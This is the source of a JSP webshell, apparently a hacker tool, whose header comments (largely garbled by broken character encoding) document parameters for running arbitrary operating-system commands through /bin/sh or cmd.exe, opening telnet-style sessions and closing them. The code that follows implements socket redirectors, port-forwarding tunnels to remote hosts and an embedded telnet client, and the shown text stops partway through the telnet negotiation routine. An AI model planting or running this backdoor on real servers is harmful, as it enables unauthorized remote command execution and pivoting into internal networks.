* action=send&myShell=&myPort=&cmd= -- <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ϳ<EFBFBD><CDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϱ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>myShell<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǣ<EFBFBD><C7A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֪<EFBFBD><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôʱ<C3B4><CAB1><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ҫд<D2AA><D0B4>ร<EFBFBD><E0B8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٺ٣<D9BA><D9A3><EFBFBD><EFBFBD>鷳<EFBFBD>ޣ<EFBFBD><DEA3><EFBFBD>cmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫִ<D2AA>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>磺<EFBFBD><E7A3BA>which ssh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>棺myShell=lovehacker&cmd=ls -la;echo lovehacker<65><72>
|
||||||
|
* action=close&myPort= -- <20><><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>telnet<65><74>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF>ŵĶ˿ڻ<CBBF>û<EFBFBD>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>ɨ<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||||
|
* action=shell&cmd= -- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
|
||||||
|
* <20><><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>
|
||||||
|
* <20><>ͨ<EFBFBD><CDA8>jspʵ<70><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʵͷʹ<CDB7><CDB4>һ<EFBFBD>ѣ<EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>̣߳<DFB3>client socketȥ<74><C8A5><EFBFBD><EFBFBD>
|
||||||
|
* telnet<65><74><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD><CBB8><EFBFBD><EFBFBD>취<EFBFBD><ECB7A8><EFBFBD><EFBFBD>telnet<65>Ĺ<EFBFBD><C4B9>̷ֲ<CCB7><D6B2><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>
|
||||||
|
* <20>յ<EFBFBD>tunnel<65><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD>ӣ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>Ⱥ<EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö˿<C3B6><CBBF><EFBFBD><EFBFBD>Ӳ<EFBFBD>һ
|
||||||
|
* ֱ<><D6B1><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>server socket<65><74>һ<EFBFBD><D2BB>һ<EFBFBD>ε<EFBFBD><CEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>һ<EFBFBD>δε<CEB4>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϳ<EFBFBD><CDBF>Լ<EFBFBD>¼״̬<D7B4><CCAC>ʵ
|
||||||
|
* <20>ֺ<EFBFBD><D6BA>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ܾ<EFBFBD><DCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>취̫<ECB7A8><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>JSPʵ<50><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD>и<EFBFBD><D0B8>õİ취<C4B0>Ļ<EFBFBD><C4BB><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
* Ҫ<><D2AA><EFBFBD>Ÿ<EFBFBD><C5B8><EFBFBD><EFBFBD>ҡ<EFBFBD>
|
||||||
|
* <20><>Ȩ˵<C8A8><CBB5><EFBFBD><EFBFBD>
|
||||||
|
* <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>Telnet<65>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>˼Ҵ<CBBC><D2B4><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵģ<C4B5><C4A3><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3><EFBFBD>Ȩû<C8A8>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ġ<DEB8><C4A1><EFBFBD><EFBFBD>ơ<EFBFBD>
|
||||||
|
* ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD>¹<EFBFBD><C2B9>ܱ<EFBFBD><DCB1><EFBFBD><EFBFBD><EFBFBD>Mailһ<6C>ݸ<EFBFBD><DDB8><EFBFBD>ร<EFBFBD>
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page import="java.io.*" %>
|
||||||
|
<%@ page import="java.net.*" %>
|
||||||
|
<%@ page import="java.util.*" %>
|
||||||
|
<%@ page import="java.awt.Dimension" %>
|
||||||
|
<%
|
||||||
|
class redirector implements Runnable
|
||||||
|
{
|
||||||
|
private redirector companion = null;
|
||||||
|
private Socket localSocket, remoteSocket;
|
||||||
|
private InputStream from;
|
||||||
|
private OutputStream to;
|
||||||
|
private byte[] buffer = new byte[4096];
|
||||||
|
|
||||||
|
public redirector(Socket local, Socket remote)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
localSocket = local;
|
||||||
|
remoteSocket = remote;
|
||||||
|
from = localSocket.getInputStream();
|
||||||
|
to = remoteSocket.getOutputStream();
|
||||||
|
} catch(Exception e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void couple(redirector c) {
|
||||||
|
companion = c;
|
||||||
|
Thread listen = new Thread(this);
|
||||||
|
listen.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void decouple() { companion = null; }
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
int count;
|
||||||
|
try {
|
||||||
|
while(companion != null) {
|
||||||
|
if((count = from.read(buffer)) < 0)
|
||||||
|
break;
|
||||||
|
to.write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
} catch(Exception e) {}
|
||||||
|
try {
|
||||||
|
from.close();
|
||||||
|
to.close();
|
||||||
|
localSocket.close();
|
||||||
|
remoteSocket.close();
|
||||||
|
if(companion != null) companion.decouple();
|
||||||
|
} catch(Exception io) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class redirector1 implements Runnable
|
||||||
|
{
|
||||||
|
private redirector1 companion = null;
|
||||||
|
private Socket localSocket, remoteSocket;
|
||||||
|
private InputStream from;
|
||||||
|
private OutputStream to;
|
||||||
|
private byte[] buffer = new byte[4096];
|
||||||
|
|
||||||
|
public redirector1(Socket local, Socket remote)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
localSocket = local;
|
||||||
|
remoteSocket = remote;
|
||||||
|
from = localSocket.getInputStream();
|
||||||
|
to = remoteSocket.getOutputStream();
|
||||||
|
} catch(Exception e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void couple(redirector1 c) {
|
||||||
|
companion = c;
|
||||||
|
Thread listen = new Thread(this);
|
||||||
|
listen.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void decouple() { companion = null; }
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
int count;
|
||||||
|
try {
|
||||||
|
while(companion != null) {
|
||||||
|
if((count = from.read(buffer)) < 0) break;
|
||||||
|
tmp = new String(buffer);
|
||||||
|
if(tmp.startsWith("--GoodBye--"))
|
||||||
|
{
|
||||||
|
from.close();
|
||||||
|
to.close();
|
||||||
|
remoteSocket.close();
|
||||||
|
localSocket.close();
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
to.write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
} catch(Exception e) {}
|
||||||
|
try {
|
||||||
|
if(companion != null) companion.decouple();
|
||||||
|
} catch(Exception io) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class piped implements Runnable
|
||||||
|
{
|
||||||
|
String remoteHost1,remoteHost2;
|
||||||
|
int remotePort1, remotePort2;
|
||||||
|
|
||||||
|
Thread listener, connection;
|
||||||
|
|
||||||
|
|
||||||
|
public piped(String raddr1,int rport1, String raddr2, int rport2)
|
||||||
|
{
|
||||||
|
remoteHost1 = raddr1; remotePort1 = rport1;
|
||||||
|
remoteHost2 = raddr2; remotePort2 = rport2;
|
||||||
|
listener = new Thread(this);
|
||||||
|
listener.setPriority(Thread.MIN_PRIORITY);
|
||||||
|
listener.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
Socket destinationSocket1 = null;
|
||||||
|
Socket destinationSocket2 = null;
|
||||||
|
try {
|
||||||
|
destinationSocket1 = new Socket(remoteHost1,remotePort1);
|
||||||
|
destinationSocket2 = new Socket(remoteHost2, remotePort2);
|
||||||
|
redirector r1 = new redirector(destinationSocket1, destinationSocket2);
|
||||||
|
redirector r2 = new redirector(destinationSocket2, destinationSocket1);
|
||||||
|
r1.couple(r2);
|
||||||
|
r2.couple(r1);
|
||||||
|
} catch(Exception e) {
|
||||||
|
try {
|
||||||
|
DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream());
|
||||||
|
os.writeChars("Remote host refused connection.\n");
|
||||||
|
destinationSocket2.close();
|
||||||
|
} catch(IOException ioe) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class tunnel implements Runnable
|
||||||
|
{
|
||||||
|
String remoteHost;
|
||||||
|
int localPort, remotePort;
|
||||||
|
|
||||||
|
Thread listener, connection;
|
||||||
|
|
||||||
|
ServerSocket server;
|
||||||
|
|
||||||
|
public tunnel(int lport, String raddr, int rport)
|
||||||
|
{
|
||||||
|
localPort = lport;
|
||||||
|
remoteHost = raddr; remotePort = rport;
|
||||||
|
|
||||||
|
try {
|
||||||
|
server = new ServerSocket(localPort);
|
||||||
|
} catch(Exception e) {}
|
||||||
|
|
||||||
|
listener = new Thread(this);
|
||||||
|
listener.setPriority(Thread.MIN_PRIORITY);
|
||||||
|
listener.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
Socket destinationSocket = null;
|
||||||
|
try{
|
||||||
|
destinationSocket = new Socket(remoteHost, remotePort);
|
||||||
|
}catch(Exception e){}
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
Socket localSocket = null;
|
||||||
|
try {
|
||||||
|
localSocket = server.accept();
|
||||||
|
} catch(Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
redirector1 r1 = new redirector1(localSocket, destinationSocket);
|
||||||
|
redirector1 r2 = new redirector1(destinationSocket, localSocket);
|
||||||
|
r1.couple(r2);
|
||||||
|
r2.couple(r1);
|
||||||
|
} catch(Exception e) {
|
||||||
|
try {
|
||||||
|
DataOutputStream os = new DataOutputStream(localSocket.getOutputStream());
|
||||||
|
os.writeChars("Remote host refused connection.\n");
|
||||||
|
localSocket.close();
|
||||||
|
} catch(IOException ioe) {}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class TelnetIO
|
||||||
|
{
|
||||||
|
public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; }
|
||||||
|
|
||||||
|
private int debug = 0;
|
||||||
|
|
||||||
|
private byte neg_state = 0;
|
||||||
|
|
||||||
|
private final static byte STATE_DATA = 0;
|
||||||
|
private final static byte STATE_IAC = 1;
|
||||||
|
private final static byte STATE_IACSB = 2;
|
||||||
|
private final static byte STATE_IACWILL = 3;
|
||||||
|
private final static byte STATE_IACDO = 4;
|
||||||
|
private final static byte STATE_IACWONT = 5;
|
||||||
|
private final static byte STATE_IACDONT = 6;
|
||||||
|
private final static byte STATE_IACSBIAC = 7;
|
||||||
|
private final static byte STATE_IACSBDATA = 8;
|
||||||
|
private final static byte STATE_IACSBDATAIAC = 9;
|
||||||
|
|
||||||
|
private byte current_sb;
|
||||||
|
|
||||||
|
private final static byte IAC = (byte)255;
|
||||||
|
|
||||||
|
private final static byte EOR = (byte)239;
|
||||||
|
|
||||||
|
private final static byte WILL = (byte)251;
|
||||||
|
|
||||||
|
private final static byte WONT = (byte)252;
|
||||||
|
|
||||||
|
private final static byte DO = (byte)253;
|
||||||
|
|
||||||
|
private final static byte DONT = (byte)254;
|
||||||
|
|
||||||
|
private final static byte SB = (byte)250;
|
||||||
|
|
||||||
|
private final static byte SE = (byte)240;
|
||||||
|
|
||||||
|
private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */
|
||||||
|
|
||||||
|
private final static byte TELOPT_EOR = (byte)25; /* end of record */
|
||||||
|
|
||||||
|
private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/
|
||||||
|
|
||||||
|
private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */
|
||||||
|
|
||||||
|
private final byte[] IACWILL = { IAC, WILL };
|
||||||
|
private final byte[] IACWONT = { IAC, WONT };
|
||||||
|
private final byte[] IACDO = { IAC, DO };
|
||||||
|
private final byte[] IACDONT = { IAC, DONT };
|
||||||
|
private final byte[] IACSB = { IAC, SB };
|
||||||
|
private final byte[] IACSE = { IAC, SE };
|
||||||
|
|
||||||
|
private final byte TELQUAL_IS = (byte)0;
|
||||||
|
|
||||||
|
private final byte TELQUAL_SEND = (byte)1;
|
||||||
|
|
||||||
|
private byte[] receivedDX;
|
||||||
|
|
||||||
|
private byte[] receivedWX;
|
||||||
|
|
||||||
|
private byte[] sentDX;
|
||||||
|
|
||||||
|
private byte[] sentWX;
|
||||||
|
|
||||||
|
private Socket socket;
|
||||||
|
private BufferedInputStream is;
|
||||||
|
private BufferedOutputStream os;
|
||||||
|
|
||||||
|
//private StatusPeer peer = this; /* peer, notified on status */
|
||||||
|
|
||||||
|
public void connect(String address, int port) throws IOException {
|
||||||
|
if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")");
|
||||||
|
socket = new Socket(address, port);
|
||||||
|
is = new BufferedInputStream(socket.getInputStream());
|
||||||
|
os = new BufferedOutputStream(socket.getOutputStream());
|
||||||
|
neg_state = 0;
|
||||||
|
receivedDX = new byte[256];
|
||||||
|
sentDX = new byte[256];
|
||||||
|
receivedWX = new byte[256];
|
||||||
|
sentWX = new byte[256];
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnect() throws IOException {
|
||||||
|
if(debug > 0) System.out.println("TelnetIO.disconnect()");
|
||||||
|
if(socket !=null) socket.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect(String address) throws IOException {
|
||||||
|
connect(address, 23);
|
||||||
|
}
|
||||||
|
|
||||||
|
//public void setPeer(StatusPeer obj) { peer = obj; }
|
||||||
|
|
||||||
|
public int available() throws IOException
|
||||||
|
{
|
||||||
|
return is.available();
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] receive() throws IOException {
|
||||||
|
int count = is.available();
|
||||||
|
byte buf[] = new byte[count];
|
||||||
|
count = is.read(buf);
|
||||||
|
if(count < 0) throw new IOException("Connection closed.");
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count);
|
||||||
|
buf = negotiate(buf, count);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void send(byte[] buf) throws IOException {
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.send("+buf+")");
|
||||||
|
os.write(buf);
|
||||||
|
os.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void send(byte b) throws IOException {
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.send("+b+")");
|
||||||
|
os.write(b);
|
||||||
|
os.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handle_sb(byte type, byte[] sbdata, int sbcount)
|
||||||
|
throws IOException
|
||||||
|
{
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("TelnetIO.handle_sb("+type+")");
|
||||||
|
switch (type) {
|
||||||
|
case TELOPT_TTYPE:
|
||||||
|
if (sbcount>0 && sbdata[0]==TELQUAL_SEND) {
|
||||||
|
String ttype;
|
||||||
|
send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS);
|
||||||
|
/* FIXME: need more logic here if we use
|
||||||
|
* more than one terminal type
|
||||||
|
*/
|
||||||
|
Vector vec = new Vector(2);
|
||||||
|
vec.addElement("TTYPE");
|
||||||
|
ttype = (String)notifyStatus(vec);
|
||||||
|
if(ttype == null) ttype = "dumb";
|
||||||
|
byte[] bttype = new byte[ttype.length()];
|
||||||
|
|
||||||
|
ttype.getBytes(0,ttype.length(), bttype, 0);
|
||||||
|
send(bttype);
|
||||||
|
send(IACSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object notifyStatus(Vector status) {
|
||||||
|
if(debug > 0)
|
||||||
|
System.out.println("TelnetIO.notifyStatus("+status+")");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] negotiate(byte buf[], int count) throws IOException {
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("TelnetIO.negotiate("+buf+","+count+")");
|
||||||
|
byte nbuf[] = new byte[count];
|
||||||
|
byte sbbuf[] = new byte[count];
|
||||||
|
byte sendbuf[] = new byte[3];
|
||||||
|
byte b,reply;
|
||||||
|
int sbcount = 0;
|
||||||
|
int boffset = 0, noffset = 0;
|
||||||
|
Vector vec = new Vector(2);
|
||||||
|
|
||||||
|
while(boffset < count) {
|
||||||
|
b=buf[boffset++];
|
||||||
|
|
||||||
|
if (b>=128)
|
||||||
|
b=(byte)((int)b-256);
|
||||||
|
switch (neg_state) {
|
||||||
|
case STATE_DATA:
|
||||||
|
if (b==IAC) {
|
||||||
|
neg_state = STATE_IAC;
|
||||||
|
} else {
|
||||||
|
nbuf[noffset++]=b;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IAC:
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("IAC ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
nbuf[noffset++]=IAC;
|
||||||
|
break;
|
||||||
|
case WILL:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("WILL ");
|
||||||
|
neg_state = STATE_IACWILL;
|
||||||
|
break;
|
||||||
|
case WONT:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("WONT ");
|
||||||
|
neg_state = STATE_IACWONT;
|
||||||
|
break;
|
||||||
|
case DONT:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("DONT ");
|
||||||
|
neg_state = STATE_IACDONT;
|
||||||
|
break;
|
||||||
|
case DO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("DO ");
|
||||||
|
neg_state = STATE_IACDO;
|
||||||
|
break;
|
||||||
|
case EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("EOR ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case SB:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("SB ");
|
||||||
|
neg_state = STATE_IACSB;
|
||||||
|
sbcount = 0;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print(
|
||||||
|
"<UNKNOWN "+b+" > "
|
||||||
|
);
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACWILL:
|
||||||
|
switch(b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = DO;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NOLOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("EOR");
|
||||||
|
reply = DO;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("<"+b+", WILL ="+WILL+">");
|
||||||
|
if ( reply != sentDX[b+128] ||
|
||||||
|
WILL != receivedWX[b+128]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentDX[b+128] = reply;
|
||||||
|
receivedWX[b+128] = WILL;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACWONT:
|
||||||
|
switch(b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("LOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
case TELOPT_EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("EOR");
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentDX[b+128] ||
|
||||||
|
WONT != receivedWX[b+128]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentDX[b+128] = reply;
|
||||||
|
receivedWX[b+128] = WILL;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACDO:
|
||||||
|
switch (b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = WILL;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("LOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_TTYPE:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("TTYPE");
|
||||||
|
reply = WILL;
|
||||||
|
break;
|
||||||
|
case TELOPT_NAWS:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("NAWS");
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NAWS");
|
||||||
|
Dimension size = (Dimension)
|
||||||
|
notifyStatus(vec);
|
||||||
|
receivedDX[b] = DO;
|
||||||
|
if(size == null)
|
||||||
|
{
|
||||||
|
/* this shouldn't happen */
|
||||||
|
send(IAC);
|
||||||
|
send(WONT);
|
||||||
|
send(TELOPT_NAWS);
|
||||||
|
reply = WONT;
|
||||||
|
sentWX[b] = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
reply = WILL;
|
||||||
|
sentWX[b] = WILL;
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=WILL;
|
||||||
|
sendbuf[2]=TELOPT_NAWS;
|
||||||
|
send(sendbuf);
|
||||||
|
send(IAC);send(SB);send(TELOPT_NAWS);
|
||||||
|
send((byte) (size.width >> 8));
|
||||||
|
send((byte) (size.width & 0xff));
|
||||||
|
send((byte) (size.height >> 8));
|
||||||
|
send((byte) (size.height & 0xff));
|
||||||
|
send(IAC);send(SE);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentWX[128+b] ||
|
||||||
|
DO != receivedDX[128+b]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentWX[b+128] = reply;
|
||||||
|
receivedDX[b+128] = DO;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACDONT:
|
||||||
|
switch (b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = WONT;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NOLOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_NAWS:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("NAWS");
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentWX[b+128] ||
|
||||||
|
DONT != receivedDX[b+128]
|
||||||
|
) {
|
||||||
|
send(IAC);send(reply);send(b);
|
||||||
|
sentWX[b+128] = reply;
|
||||||
|
receivedDX[b+128] = DONT;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACSBIAC:
|
||||||
|
if(debug > 2) System.out.println(""+b+" ");
|
||||||
|
if (b == IAC) {
|
||||||
|
sbcount = 0;
|
||||||
|
current_sb = b;
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
} else {
|
||||||
|
System.out.println("(bad) "+b+" ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
